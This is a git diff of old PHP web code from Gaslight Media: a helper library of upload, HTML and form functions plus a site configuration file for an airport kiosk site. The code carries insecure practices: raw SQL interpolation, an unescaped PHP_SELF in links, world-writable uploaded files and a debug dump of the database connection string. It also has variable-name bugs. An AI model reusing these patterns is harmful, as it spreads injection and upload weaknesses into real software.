+                * @return string $file_upload
+                * @access 
+                **/
+               function file_upload($form_field,$file_name,$destination_path) 
+               {
+                       if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name)) 
+                       {
+                               $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+                       }
+
+                       if( file_exists(UP_BASE.$file_name) )
+                       {
+                               $img_name_in_use = "TRUE";
+                       }
+
+                       if ($file_name_in_use == "TRUE") 
+                       {
+                               $new_file_name = mktime().$file_name;
+                               $new_file_location = $destination_path.'/'.$new_file_name;
+
+                               copy($form_field,$new_file_location);
+
+                               chmod($new_file_location, 0666);
+
+                               $file_upload = $new_file_name;
+                       }
+                       else 
+                       {
+                               $new_file_name = $file_name;
+                               $new_file_location = $destination_path.'/'.$new_file_name;
+
+                               copy($form_field,$new_file_location);
+
+                               chmod($new_file_location, 0666);
+
+                               $file_upload = $new_file_name;
+                       }
+                       return($file_upload);
+               }
+
+               /* Misc. Functions */
+
+               /**
+                * http_strip :Strips the http:// part from start of string
+                * @param $&$string : $string
+                * 
+                * @return string $stirng minus http:// in front
+                * @access 
+                **/
+               function http_strip(&$string) 
+               {
+                       $test_string = strtolower($string);
+                       if(substr($test_string,0,7) == "http://") 
+                       {
+                               $string = substr($string,7);
+                       }
+               }
+
+               /**
+                * footer : used for admin page footer to close out the top function 
+                * 
+                * @return void 
+                * @access 
+                **/
+               function footer() 
+               {
+                       $out = '
+                               </body>
+                               </html>
+                               ';      
+                       echo $out;
+               }
+
+               /**
+                * top :Output the starting html and admin table tags
+                * @param $message: The title
+                * @param $hp: The help file to use
+                * @param $$hp2 = NULL : The help file to use (links to gaslightmedia.com)
+                * 
+                * @return void 
+                * @access 
+                **/
+               function top($message, $hp,$hp2 = NULL) 
+               {
+                       $out = '
+                       <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+                       "http://www.w3.org/TR/html4/strict.dtd">
+                       <html>
+                       <head>
+                       <title>Untitled</title>
+                       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+                       <link rel="stylesheet" type="text/css" href="../main.css">
+                       <script type="text/javascript" src="event.js"></script>
+                         </head>
+                       <body>
+                               <h1>'.$message.'</h1>   
+                                       ';
+                       echo $out;
+               }
+
+               /**
+                * top2 : alias to top()
+                * @param $message: message title 
+                * @param $hp: help file 
+                * @param $$hp2 = NULL : gaslight help file
+                * 
+                * @return 
+                * @access 
+                **/
+               function top2($message, $hp,$hp2 = NULL) 
+               {
+                       // make this an alias to top()
+                       // by calling top instead of adding extra code
+                       top($message,$hp,$hp2);
+
+               }
+
+               /********************************************************************************
+                *
+                *      DO NOT EDIT THIS SECTION
+                *
+                ********************************************************************************/
+
+               if( $DEBUG )
+               {
+                       echo '<CENTER>
+                               <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=600 BGCOLOR="#000000" ALIGN="CENTER">
+                               <TR VALIGN="middle" BGCOLOR="#9999CC">
+                               <TD COLSPAN="2" ALIGN="center"><H1>Portable Site Data - setup.phtml </H1></TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>CVS Version Id:</B></TD>
+                               <TD ALIGN="left">$Id: setup.phtml,v 1.2 2012/01/03 20:00:46 cscott Exp $</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>SITENAME</B></TD>
+                               <TD ALIGN="left">'.SITENAME.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>BASE</B></TD>
+                               <TD ALIGN="left">'.BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>UP_BASE</B></TD>
+                               <TD ALIGN="left">'.UP_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>HELP_BASE</B></TD>
+                               <TD ALIGN="left">'.HELP_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>IMG_BASE</B></TD>
+                               <TD ALIGN="left">'.IMG_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>URL_BASE</B></TD>
+                               <TD ALIGN="left">'.URL_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>CONN_STR</B></TD>
+                               <TD ALIGN="left">'.CONN_STR.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>STYLE</B></TD>
+                               <TD ALIGN="left">'.STYLE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL_PATH</B></TD>
+                               <TD ALIGN="left">'.ORIGINAL_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>RESIZED_PATH</B></TD>
+                               <TD ALIGN="left">'.RESIZED_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED_PATH</B></TD>
+                               <TD ALIGN="left">'.MIDSIZED_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>THUMB_PATH</B></TD>
+                               <TD ALIGN="left">'.THUMB_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL</B></TD>
+                               <TD ALIGN="left">'.ORIGINAL.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>RESIZED</B></TD>
+                               <TD ALIGN="left">'.RESIZED.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED</B></TD>
+                               <TD ALIGN="left">'.MIDSIZED.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>THUMB</B></TD>
+                               <TD ALIGN="left">'.THUMB.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$CALLED_FROM_DIR</B></TD>
+                               <TD ALIGN="left">'.$CALLED_FROM_DIR.'&nbsp;</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_PATH</B></TD>
+                               <TD ALIGN="left">'.$BASE_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_URL</B></TD>
+                               <TD ALIGN="left"><A HREF="'.$BASE_URL.'">'.$BASE_URL.'</A></TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_SECURE_URL</B></TD>
+                               <TD ALIGN="left">'.$BASE_SECURE_URL.'</TD>
+                               </TR>
+                               </TABLE>
+                               &nbsp;
+                       <P>
+                               <HR WIDTH="600">
+                               <P>
+                               </CENTER>
+                               ';
+
+               }
+               /**
+                * htmlcode: Output code to enable htmlarea for the page
+                * MUST BE CALLED AFTER TEXTAREAS ON PAGE
+                * @param $$w = 570: width of htmlarea in px
+                * @param $$h = 400: height of htmlarea in px
+                * 
+                * @return void
+                * @access 
+                **/
+               function htmlcode($w = 570,$h = 400)
+               {
+                       echo '
+<style type="text/css">
+    /*<![CDATA[*/
+        <!--
+                .textarea { height: '.$h.' px; width: '.$w.' px; } 
+        -->
+        /*]]>*/
+    </style>
+<script type="text/javascript">
+    //<![CDATA[
+      _editor_url = "../htmlarea";
+      _editor_lang = "en";
+    //]]>
+    </script><!-- load the main HTMLArea file -->
+    <script type="text/javascript" src="../htmlarea/htmlarea.js">
+    </script>
+';
+                       echo '
+                       <script type="text/javascript">
+    //<![CDATA[
+
+                ';
+               if( HTMLAREA_CONTEXT_MENU )
+               {
+                echo '
+                HTMLArea.loadPlugin("ContextMenu");
+                ';
+               }
+               if( HTMLAREA_TABLES )
+               {
+                echo '
+                 HTMLArea.loadPlugin("TableOperations");
+                 ';
+               }
+               if( HTMLAREA_IMAGE_MANAGER )
+               {
+                echo '
+                HTMLArea.loadPlugin("ImageManager");
+                 ';
+               }
+               if( HTMLAREA_CHARACTER_MAP )
+               {
+                echo '
+                HTMLArea.loadPlugin("CharacterMap");
+                 ';
+               }
+                 echo '
+     initdocument = function () {
+        var editor = new HTMLArea("description");
+  
+               ';
+
+       echo '
+       editor.config.toolbar = [
+               [ "fontname", "space",
+                 "fontsize", "space",
+                 "formatblock", "space",
+                 "bold", "italic", "underline", "separator" ],
+
+               [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+
+                 "orderedlist", "unorderedlist", "outdent", "indent", "separator",
+                 "forecolor", "separator",
+                 "inserthorizontalrule", "createlink"';
+               if( HTMLAREA_TABLES )
+               {
+                 echo ', "inserttable"';
+         }
+               if( HTMLAREA_IMAGE_MANAGER )
+               {
+                 echo ', "insertimage"';
+         }
+                 echo ', "htmlmode", "separator",
+                 "copy", "cut", "paste", "space", "undo", "redo" ]
+       ];      
+       ';
+               if( HTMLAREA_CONTEXT_MENU )
+               {
+               echo '
+  // add a contextual menu
+  editor.registerPlugin("ContextMenu");
+  ';
+               }
+               if( HTMLAREA_TABLES )
+               {
+  echo '
+  
+  // register the TableOperations plugin
+  editor.registerPlugin(TableOperations); 
+  ';
+               }
+         if( HTMLAREA_CHARACTER_MAP )
+         {
+  echo '
+  
+  // register the CharacterMap plugin
+  editor.registerPlugin(CharacterMap); 
+  ';
+               }
+  echo '
+  editor.generate();
+      } 
+        function addEvent(obj, evType, fn)
+        { 
+                if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+                else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+                else {  return false; } 
+        } 
+        addEvent(window, \'load\', initdocument);
+    //]]>
+    </script>  
+                               ';
+               }
+
+               /**
+                * date_entry : Generate the select boxes for date entry
+                * month-day-year as drop down select
+                * @param $month: 
+                * @param $day: 
+                * @param $year: 
+                * @param $month_name: name of select month 
+                * @param $day_name: name of select day 
+                * @param $$year_name : name of select year
+                * 
+                * @return 
+                * @access 
+                **/
+               function date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($month == "") 
+                       {
+                               $month = $cur_date['mon'];
+                       }
+                       if($day == "") 
+                       {
+                               $day = $cur_date['mday'];
+                       }       
+                       if($year == "") 
+                       {
+                               $year = $cur_date['year'];
+                       }
+                       $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$year_name.'">';
+                       for($i=2000;$i<2023;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+                       return $date;
+               }       
+
+               /**
+                * contact_date_entry : build select boxes for date entry going backwords in years
+                * @param $month: 
+                * @param $day: 
+                * @param $year: 
+                * @param $month_name: name of select month
+                * @param $day_name: name of select day
+                * @param $$year_name : name of select year
+                * 
+                * @return void
+                * @access 
+                **/
+               function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($month == "") 
+                       {
+                               $month = $cur_date['mon'];
+                       }
+                       if($day == "") 
+                       {
+                               $day = $cur_date['mday'];
+                       }       
+                       if($year == "") 
+                       {
+                               $year = $cur_date['year'];
+                       }
+                       $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$year_name.'">';
+                       $ystart = $cur_date['year'] - 10;
+                       for($i=$ystart;$i<=$year;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+                       return $date;
+               }
+
+               /**
+                * time_entry : build select boxes for time entry
+                * @param $H: 
+                * @param $m: 
+                * @param $F: 
+                * @param $H_name: name of select hour
+                * @param $m_name: name of select min
+                * @param $$F_name : name of select sec
+                * 
+                * @return 
+                * @access 
+                **/
+               function time_entry($H,$m,$F,$H_name,$m_name,$F_name) 
+               {
+                       $cur_date = getdate();
+                       if($H == "") 
+                       {
+                               $H = $cur_date['hours'];
+                       }
+                       if($m == "") 
+                       {
+                               $m = $cur_date['minutes'];
+                       }       
+                       if($H>12) 
+                       {
+                               $F = "PM";
+                               $H = $H - 12;
+                       }
+                       $time = "Hr:<select name=\"$H_name\" size=\"1\">";
+                       for($i=1;$i<=12;$i++) 
+                       {
+                               $time .= "<option value=\"";
+                               if($i < 10)
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\"";
+                               if($i == $H) 
+                               {
+                                       $time .= " selected";
+                               }
+                               $time .= ">$i\n";       
+                       }
+                       $time .= "</select>\n";
+                       $time .= "Min:<select name=\"$m_name\" size=\"1\">";
+                       for($i=0;$i<60;$i=$i+15) 
+                       {
+                               $time .= "<Option value=\"";
+                               if($i < 10) 
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\"";
+                               if($i == $m) 
+                               {
+                                       $time .= " selected";
+                               }
+                               $time .= ">";
+                               if($i < 10) 
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\n";        
+                       }       
+                       $time .= "</select>";
+                       $time .= "<select name=\"$F_name\" size=\"1\">";
+                       $time .= "<option value=\"AM\"";
+                       if($F == "AM") 
+                       {
+                               $time .= " selected";
+                       }
+                       $time .= ">AM\n";
+                       $time .= "<option value=\"PM\"";
+                       if($F == "PM") 
+                       {
+                               $time .= " selected";
+                       }
+                       $time .= ">PM\n";
+                       $time .= "</select>\n";
+                       return $time;
+               }
+
+               /**
+                * get_parentid: get the (highest level) parent category for this id
+                * @param $id: id from bus_category table
+                * 
+                * @return int parent  
+                * @access 
+                **/
+               function get_parentid( $id )
+               {
+                       static $parentshow;
+                       if( $id == 0 )
+                       {
+                               return( 0 );            
+                       }
+                       if(!is_array($parentshow))
+                       {
+                               $qs = "select parent from bus_category where id = $id";
+                               $parentrow = db_auto_get_data( $qs );     
+                       }
+                       if($parentrow[0]['parent'] == 0)
+                       {
+                               return($id);
+                       }
+                       else
+                       {
+                               return( get_parentid($parentrow[0]['parent']) );
+                       }
+               }
+
+               /**
+                * build_picklist:Builds a pick list from an array
+                * @param $fieldname: fieldname field name for select
+                * @param $data: data array of data
+                * @param $selected: selected witch element is selected
+                * @param $$type = "standard": type Standard,multi
+                * @param $$auto = 0: auto
+                * @param $$width = NULL : width width controlled by css
+                * 
+                * @return void 
+                * @access 
+                **/
+               function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+               {
+                       if(!is_array($selected))
+                       {
+                               $sel[0] = $selected;
+                       }
+                       else
+                       {
+                               $sel = $selected;
+                       }
+                       if($auto == 1)
+                               $autosubmit = "onChange=\"form.submit()\"";
+                       if($width)
+                               $autosubmit .= "style=\"width:".$width."px;\"";
+                       switch( $type )
+                       {
+                               case "multiple":
+                                       $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " SELECTED ";
+                                       }
+                                       else
+                                               $select = "";
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                               case "simple":
+                                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                                       $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                               }
+                               break;
+
+                               case "standard":
+                               default:
+                                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                                       while( list($key, $val) = each($data) ) 
+                                       {
+                                               $select = (in_array($key,$sel)) ? " SELECTED ":"";
+                                               $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                                       }
+                                       break;
+                       }
+                       $str .= "</SELECT>\n";
+
+                       return( $str );
+
+               }
+
+               /**
+                * create_page_links:Create prev and next links 
+                * to page through the results.
+                * @param $totalnum: The total result of the query
+                * @param $num: The total result for the page
+                * @param $$start=0: The starting num defaults to 0
+                * @param $params: variables to add to the url
+                * @param $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+                * 
+                * @return string of links 
+                * @access 
+                **/
+               function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+               {
+                       // find out which page we're on.
+                       if($totalnum!=0)
+                       {  
+                               $total_pages = floor($totalnum / $page_length);         // total pages = the total result divided by page length rounded down 
+                               $total_pages++;                                                                         // then add one
+                               if($start == 0)                                                                         // if start is 0 then page is one
+                               {
+                                       $page = 1;                                                                              
+                               }
+                               else    
+                               {
+                                       $page = ($start / $page_length) + 1;
+                               }
+                       }
+
+                       if($totalnum > $page_length && ( $page != $totalpages ) )
+                       {
+                               $end = $page_length + $start;
+                       }
+                       else
+                       {
+                               $end = $totalnum;
+                       }
+                       $last = $start - $page_length;  
+                       if(($start - $page_length) < 0)
+                               $prev = "";
+                       else    
+                               $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                       href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+                                       class=\"accenttext\"> ]</span>";
+                       if($end < $totalnum)
+                               $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                       href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+                                       class=\"accenttext\"> ]</span>";
+                       else    
+                               $next = "";
+                       $starting = $start + 1; 
+                       $last_c = $start + $num;
+                       $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+                               class="accenttext">'.$starting.' to '.$last_c.'</span>
+                               <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' &nbsp; <span 
+                               class="pagetitle"></span> '.$next.'<BR></span></center>';       
+                       return($links);
+               }
+       }
+?>
diff --git a/siteinfo.inc b/siteinfo.inc
new file mode 100644 (file)
index 0000000..0a51670
--- /dev/null
@@ -0,0 +1,746 @@
+<?
+
+/********************************************************************************
+ *
+ *     FILE: siteinfo.inc - Portable site information
+ *
+ *     Copyright (C) 2002 - Gaslight Media - All Rights Reserved
+ *
+ ********************************************************************************/
+
+if( !defined("SITEINFO") )
+{
+
+define( "SITEINFO",                    TRUE );                 // Indicate that this file has been referenced
+
+/* These are now defined in the Dynamic section below
+define( "SI_DEBUG",                    0 );                    // Debug Level : 0=Off, 1, 2, 3, ... more debug info
+define( "SI_DEBUG_VIEW",       TRUE );                 // Display pop-up summary of data passed to parse_view() 
+define( "GLMPDF_DEBUG",        FALSE );                // Overlays output forms with calibration grid
+*/
+
+/********************************************************************************
+ *
+ *     DO NOT EDIT THIS SECTION
+ *
+ ********************************************************************************/
+
+       // Find where this file is located
+
+$si_base_path                          = dirname( __FILE__ );                  // Get Path where siteinfo resides
+$si_calling_script_name                = basename( $SCRIPT_NAME );             // Get name of calling script
+
+$si_called_from_dir            = substr( dirname($_SERVER["SCRIPT_FILENAME"]), strlen($si_base_path) );
+
+if( ($x = strlen($si_called_from_dir)) > 0 )
+       $si_base_url    = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($si_called_from_dir) );
+    else
+       {
+        $si_script_name_dir = dirname($SCRIPT_NAME);
+        if( $si_script_name_dir == "/" )
+                $si_script_name_dir = "";
+        $si_base_url       = $HTTP_HOST.$si_script_name_dir;
+       }
+
+$si_base_secure_url = "https://".$si_base_url;
+$si_base_insecure_url = "http://".$si_base_url;
+
+if( $HTTPS == "on" )
+       $si_base_url = "https://".$si_base_url;
+    else
+       $si_base_url = "http://".$si_base_url;
+
+
+/********************************************************************************
+ *
+ *     Dynamic Configuration - Parameters that DO change based on location
+ *
+ ********************************************************************************/
+
+switch( $GLM_SERVER_ID )
+       {
+
+       case "ChuckAtHome.gaslightmedia.com":
+       case "chuckweb.gaslightmedia.com":
+               $si_base_secure_url                                     = $si_base_url;
+               define( "SI_DB_HOST",                                   "" );
+               define( "SI_DB_NAME",                                   "pellstonairport" );
+               define( "SI_CUSTOMER_EMAIL",                    "cscott@localhost" );
+               define( "SI_CUSTOMER_INTERNAL_EMAIL",   "cscott@localhost" );
+               define( "SI_DEBUG",                                             0 );
+               define( "SI_DEBUG_VIEW",                                TRUE ); 
+               define( "SI_DEBUG_MAIL",                                TRUE ); 
+               define( 'SI_PATH_TO_GRAPHICS_TOOLS',    '/usr/bin' );
+               break;
+
+       case "devsys.gaslightmedia.com":
+               $si_base_secure_url                                     = $si_base_url;
+               define( "SI_DB_HOST",                                   "devsys.gaslightmedia.com" );
+               define( "SI_DB_NAME",                                   "pellstonairport" );
+               define( "SI_CUSTOMER_EMAIL",                    "info@gaslightmedia.com" );
+               define( "SI_CUSTOMER_INTERNAL_EMAIL",   "jodie@gaslightmedia.com" );
+               define( "SI_DEBUG",                                             0 );
+               define( "SI_DEBUG_VIEW",                                FALSE ); 
+               define( "SI_DEBUG_MAIL",                                TRUE ); 
+               define( 'SI_PATH_TO_GRAPHICS_TOOLS',    '/usr/bin' );
+               break;
+
+       case "ws1.gaslightmedia.com":
+               $si_base_secure_url                                             = "https://kiosk.pellstonairport.com";
+               $si_base_insecure_url                                   = "http://kiosk.pellstonairport.com";
+               define( "SI_DB_HOST",                                   "ds4.gaslightmedia.com" );
+               define( "SI_DB_NAME",                                   "pellstonairport" );
+               define( "SI_CUSTOMER_EMAIL",                    "info@gaslightmedia.com" );
+               define( "SI_CUSTOMER_INTERNAL_EMAIL",   "jodie@gaslightmedia.com" );
+               define( "SI_DEBUG",                                             0 );
+               define( "SI_DEBUG_VIEW",                                FALSE ); 
+               define( "SI_DEBUG_MAIL",                                FALSE ); 
+               define( 'SI_PATH_TO_GRAPHICS_TOOLS',    '/usr/X11R6/bin' );
+               break;
+
+       default:        // There should be no need for any settings here
+               break;
+
+       }
+
+/********************************************************************************
+ *
+ *     General Definitions
+ *
+ ********************************************************************************/
+
+
+define( "SI_SERVER",                                           $HTTP_HOST );                                           // Host name of server
+define( "SI_BASE_PATH",                                                $si_base_path );                                        // Path to root of site
+define( "SI_CALLED_FROM_DIR",                          $si_called_from_dir );                          // Directory where current executing file exists
+define( "SI_BASE_URL",                                         $si_base_url );                                         // URL to root of Web site
+define( "SI_BASE_SECURE_URL",                          $si_base_secure_url );                          // URL to root of Secure Web site
+define( "SI_BASE_INSECURE_URL",                                $si_base_insecure_url );                        // URL to root of Insecure Web site
+define( "SI_GLM_APPS",                                         $si_base_url."/glm_apps" );                     // GLM misc application modules URL
+define( "SI_GLM_SECURE_APPS",                          $si_base_secure_url."/glm_apps" );      // GLM misc application modules URL - Secure
+define( "SI_THIS_SCRIPT",                                      $si_calling_script_name );                      // The name of the calling script
+
+define( "SI_DB_USER",                                          "nobody" );
+define( "SI_DB_TYPE",                                          "postgres" );
+define( "SI_CONN_STR",                                                 "host='".SI_DB_HOST."' dbname='".SI_DB_NAME."' user='".SI_DB_USER."'" );
+define( "SI_CONN_STR2",                                        "host='".SI_DB_HOST2."' dbname='".SI_DB_NAME2."' user='".SI_DB_USER."'" );
+define( "SI_DB_DATE_STYLE",                                    "SQL" );
+               // ISO          - use ISO 8601-style dates and times,                                   "1997-12-17 07:37:16-08"
+               // SQL          - use Oracle/Ingres-style dates and times,                              "12/17/1997 07:37:16.00 PST"
+               // Postgres     - use traditional Postgres format,                                      "Wed Dec 17 07:37:16 1997 PST"
+               // European     - use dd/mm/yyyy for numeric date representations., "17/12/1997 15:37:16.00 MET"
+               // US           - use mm/dd/yyyy for numeric date representations.,     "12/17/1997 07:37:16.00 PST"
+               // German       - use dd.mm.yyyy for numeric date representations.,     "17.12.1997 07:37:16.00 PST"
+define( 'SI_DB_STATIC',                                                TRUE );                         // If true database functions don't automatically close a connection and will re-use if possible
+define( "SI_DB_SET_DATE_STYLE_STRING",         "SET DATESTYLE TO '".SI_DB_DATE_STYLE."';\n" );
+
+
+       // Graphics support
+
+define( "SI_GRPH_CONVERT",                                     "/usr/bin/convert" );
+define( "SI_GRPH_DJPEG",                                       "/usr/bin/djpeg ");
+define( "SI_GRPH_CJPEG",                                       "/usr/bin/cjpeg ");
+define( "SI_GRPH_PNMSCALE",                            "/usr/bin/pnmscale ");
+define( "SI_GRPH_GIFTOPNM",                            "/usr/bin/giftopnm ");
+define( "SI_GRPH_PPMTOGIF",                            "/usr/bin/ppmtogif ");
+define( "SI_GRPH_PPMQUANT",                            "/usr/bin/ppmquant ");
+
+define( "SI_IMAGE_DIR",                                                "images" );
+define( "SI_BASE_IMAGE_URL",                           SI_BASE_URL."/".SI_IMAGE_DIR );
+define( "SI_BASE_IMAGE_PATH",                          SI_BASE_PATH."/".SI_IMAGE_DIR );
+
+define( "SI_IMG_ORIGINAL_URL",                                 SI_BASE_IMAGE_URL."/original" );
+define( "SI_IMG_RESIZED_URL",                          SI_BASE_IMAGE_URL."/resized" );
+define( "SI_IMG_MIDSIZED_URL",                                 SI_BASE_IMAGE_URL."/midsized" );
+define( "SI_IMG_THUMB_URL",                            SI_BASE_IMAGE_URL."/thumb" );
+
+define( "SI_IMG_ORIGINAL_PATH",                        SI_BASE_IMAGE_PATH."/original" );
+define( "SI_IMG_RESIZED_PATH",                                 SI_BASE_IMAGE_PATH."/resized" );
+define( "SI_IMG_MIDSIZED_PATH",                        SI_BASE_IMAGE_PATH."/midsized" );
+define( "SI_IMG_THUMB_PATH",                           SI_BASE_IMAGE_PATH."/thumb" );
+define( "SI_POSTCARD_URL",                                     SI_BASE_URL."/index.phtml" );
+
+$si_today = date( 'n/d/Y' );                           // Today's date
+$si_timestamp = time();                                                // Current Timestamp
+
+define( "SI_COPYRIGHT_YEARS",                          "2002-".date("Y") );                            // Years for copyright statement in footer
+
+
+/********************************************************************************
+ *
+ *     Customer Related Configuration
+ *
+ ********************************************************************************/
+
+       // Information about the customer
+
+define( "SI_CUSTOMER_NAME",                            "CUST_NOT_SET" );
+define( "SI_CUSTOMER_LONG_NAME",                       "CUST_LONG_NAME_NOT_SET" );
+define( "SI_CUSTOMER_PHONE",                           "PHONE_NO_NOT_SET" );
+define( "SI_CUSTOMER_FAX",                                     "FAX_NO_NOT_SET" );
+define( "SI_CUSTOMER_TOLL_FREE",                       "TOLL_FREE_NOT_SET" );
+define( "SI_CUSTOMER_ADDRESS",                         "ADDRESS_NOT_SET" );
+define( "SI_CUSTOMER_CITY",                                    "CITY_NOT_SET" );
+define( "SI_CUSTOMER_STATE",                           "STATE_NOT_SET" );
+define( "SI_CUSTOMER_ZIP",                                     "ZIP_NOT_SET" );
+define( "SI_CUSTOMER_FROM_EMAIL",                      "CUST_EMAIL_NOT_SET" );
+define( "SI_CUSTOMER_LETTER_CLOSING",          "Sincerely," );
+
+       // Strings for TITLE tags
+
+define( "SI_CUSTOMER_META_KEYWORDS",                   // Meta Keywords for search engines
+"Functions Library Development" );
+
+define( "SI_CUSTOMER_META_DESCR",                              // Meta description for search engines
+"Gaslight Media Standard Functions Library Development." );
+
